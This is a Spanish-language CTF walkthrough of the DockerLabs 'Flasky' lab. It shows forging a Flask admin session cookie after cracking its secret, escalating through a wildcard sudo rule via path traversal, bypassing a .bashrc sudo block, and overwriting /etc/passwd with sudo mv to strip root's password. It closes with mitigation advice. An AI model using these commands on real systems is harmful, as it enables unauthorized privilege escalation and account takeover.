Flasky
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Flasky, desarrollada por mikisbd para la plataforma
DockerLabs, clasificada con una dificultad Media.
El laboratorio expone una aplicación web desarrollada en Flask que permite el registro y login de usuarios. Tras
crear una cuenta, se observa que la sesión se gestiona mediante cookies firmadas (típicas de Flask). Manipulando
dicha cookie y utilizando herramientas como flask-unsign y cookiemonster, se logra forjar una cookie con privilegios
de administrador, lo que permite acceder a un panel que revela credenciales SSH para el usuario peter.
Tras el acceso inicial, se explota una regla sudo mal configurada que permite ejecutar cualquier script Bash en el
directorio de otro usuario (pan) mediante path traversal, obteniendo acceso como pan.
A continuación, se descubre que el usuario pan tiene un .bashrc que deshabilita sudo, pero se puede eludir
comentando la función y recargando el entorno. Finalmente, pan puede ejecutar mv como root, lo que se utiliza para
sobrescribir /etc/passwd y eliminar la contraseña de root, obteniendo así acceso total al sistema.
Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Flasky |
| Autor | mikisbd |
| Dificultad | Medio |
| Fecha | 17/03/2026 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime la máquina y se despliega utilizando el script proporcionado:
unzip Flasky.zipsudo bash auto_deploy.sh Flasky.tarUna vez iniciado el contenedor, se asigna la dirección IP correspondiente.

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:
mkdir -p Flasky/{content,exploits,nmap,scripts}cd FlaskyPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsEl resultado muestra los siguientes servicios accesibles externamente:
- 22/tcp — SSH
- 5000/tcp — HTTP

1.2 Enumeración de servicios
Sección titulada «1.2 Enumeración de servicios»Dado que tenemos varios servicios abiertos, realizamos un escaneo de posibles vulnerabilidades con nmap:
nmap -sCV -p22,5000 172.17.0.2En este caso, no encontramos nada resaltante:

1.3 Enumeración web
Sección titulada «1.3 Enumeración web»Se procede a realizar fuzzing de rutas y archivos:
feroxbuster -u http://172.17.0.2:5000 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404Aquí solo encontramos el index y un signup:
-
Index: contiene directamente un login de usuarios.

-
Signup: contiene un formulario de creación de usuarios simple.
Paso 2 — Explotación (acceso inicial)
Sección titulada «Paso 2 — Explotación (acceso inicial)»Tras realizar las pruebas necesarias, el login no resultó vulnerable a ningún tipo de inyección (SQL, NoSQL, LDAP). Por
lo tanto, procedemos a crear un usuario. En nuestro caso, usaremos las credenciales test:test. Al momento de ingresar
las credenciales, obtenemos este mensaje:

Este nos indica que el tipo de usuario es User, lo que sugiere que podríamos modificar la cookie de sesión. Vamos a
las herramientas de desarrollador → almacenamiento y observamos:

Por el formato de esta cookie, deducimos que se está utilizando la librería por defecto de Flask. Necesitaremos usar la
herramienta flask-unsign para decodificar la cookie y ver su contenido. Ejecutamos el siguiente comando:
flask-unsign --unsign --cookie '<COOKIE>'Esto nos da un resultado válido:

Aquí ya tenemos un formato JSON de la cookie y observamos que contiene nuestro profile, user_id y username. Lo que
podríamos hacer es descubrir el secreto utilizado para firmar la cookie y así generar una cookie con permiso de
administrador. Para descubrir este secreto, usaremos otra herramienta llamada cookiemonster, que es más rápida:
cookiemonster -cookie "<COOKIE>"Esta nos da el secreto rápidamente:

Con el secreto descubierto, generamos una nueva cookie con permisos de administrador:
flask-unsign --sign --cookie '{"profile": "admin", "user_id": 1, "username": "admin"}' --secret '<SECRET>'Obtenemos una cookie funcional. La copiamos, la reemplazamos por la antigua cookie y recargamos la página:

Ahora se nos muestra un portal de administración donde tenemos las credenciales del servicio SSH. Procedemos a conectarnos:
ssh peter@172.17.0.2Y obtenemos acceso a la máquina:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De peter → pan
Sección titulada «3.1 De peter → pan»Lo primero que hacemos es revisar los permisos con sudo -l:

Aquí vemos que podemos ejecutar cualquier script de Bash en el directorio /home/pan/* con permisos del usuario pan.
Con esto podríamos ejecutar cualquier script a través de path traversal. Creamos el siguiente script en el directorio
/tmp:
echo '/bin/bash' > /tmp/shell.shY ahora ejecutamos el script:
sudo -u pan bash /home/pan/../../tmp/shell.shEsto nos da permisos del usuario pan:

3.2 De pan → root
Sección titulada «3.2 De pan → root»Al intentar revisar los permisos con sudo -l, el mensaje que nos devuelve es que sudo está roto. Tras revisar,
observamos que hay una función especial en el .bashrc para inhabilitarlo:
# Protección de sudosudo() { echo "BROKEN SUDO" return 1}
# También bloquear sudo su, sudo -i, etc.alias sudo='sudo' # Esto hace que el alias no evite la funciónDado que en la máquina no tenemos ningún editor de texto, tendremos que comentar la función a través de sed:
sed -i '/alias.*sudo/s/^/#/' ~/.bashrcsource ~/.bashrcunset -f sudoAhora el comando sudo es funcional. Al ejecutarlo, observamos:

Esto nos indica que el usuario pan puede ejecutar mv con permisos de administración. Con esto podemos sobrescribir
cualquier archivo del sistema. Sobrescribiremos el /etc/passwd.
Lo primero que hacemos es copiarlo y, en algún editor de texto, eliminar la x que indica que la contraseña se encuentra
en el shadow. Esto haría que root no pida contraseña para el inicio de sesión. Guardamos el archivo modificado como
/tmp/passwd y luego ejecutamos:
cd /tmpcat > passwd << 'EOF'root::0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin_apt:x:42:65534::/nonexistent:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologinsystemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologinmessagebus:x:996:996:System Message Bus:/nonexistent:/usr/sbin/nologinsshd:x:995:65534:sshd user:/run/sshd:/usr/sbin/nologinpeter:x:1000:1000:,,,:/home/peter:/bin/bashpan:x:1001:1001:,,,:/home/pan:/bin/bashEOFAhora sobrescribimos el archivo /etc/passwd real:
sudo mv passwd /etc/passwdFinalmente, solo necesitamos hacer su root para tener permisos de administrador:

Y listo, hemos accedido como superusuario.
Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Uso de cookies firmadas con secreto débil o predecible | Crítica | Permite forjar cookies con privilegios de administrador |
Exposición del secreto de firma mediante herramientas de cracking (cookiemonster) | Alta | Compromiso completo de la autenticación por sesiones |
| Panel de administración accesible sin autenticación adicional tras forjar cookie | Media | Exposición de credenciales SSH |
Regla sudo con comodín (/home/pan/*) y path traversal posible | Crítica | Escalada de privilegios al usuario pan |
Función que deshabilita sudo en .bashrc con método de bloqueo eludible | Media | Protección débil que puede removerse con sed y unset -f |
Permiso sudo para mv sin restricciones | Crítica | Permite sobrescribir archivos críticos del sistema, como /etc/passwd |
Contraseña de root eliminable modificando /etc/passwd | Crítica | Acceso total al sistema sin autenticación |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Utilizar secretos robustos y únicos para la firma de cookies en Flask, y almacenarlos de forma segura (variables de entorno, archivos fuera del código fuente).
- Rotar periódicamente los secretos de sesión para limitar la ventana de explotación en caso de filtración.
- No confiar en la información del lado del cliente para determinar privilegios. La verificación de roles debe hacerse siempre en el servidor.
- Evitar el uso de comodines (
*) en las reglas desudo, ya que permiten path traversal. Especificar siempre rutas absolutas y archivos concretos. - No deshabilitar
sudomediante funciones o alias en el.bashrc, ya que es fácilmente eludible. Usar configuraciones a nivel de sistema si es necesario restringir privilegios. - Restringir binarios peligrosos como
mv,cp,chmodensudoers, o limitar sus operaciones a directorios no críticos. - Proteger archivos del sistema como
/etc/passwdy/etc/shadowcon permisos estrictos (644 y 600 respectivamente) y atributos inmudables (chattr +i) cuando sea posible.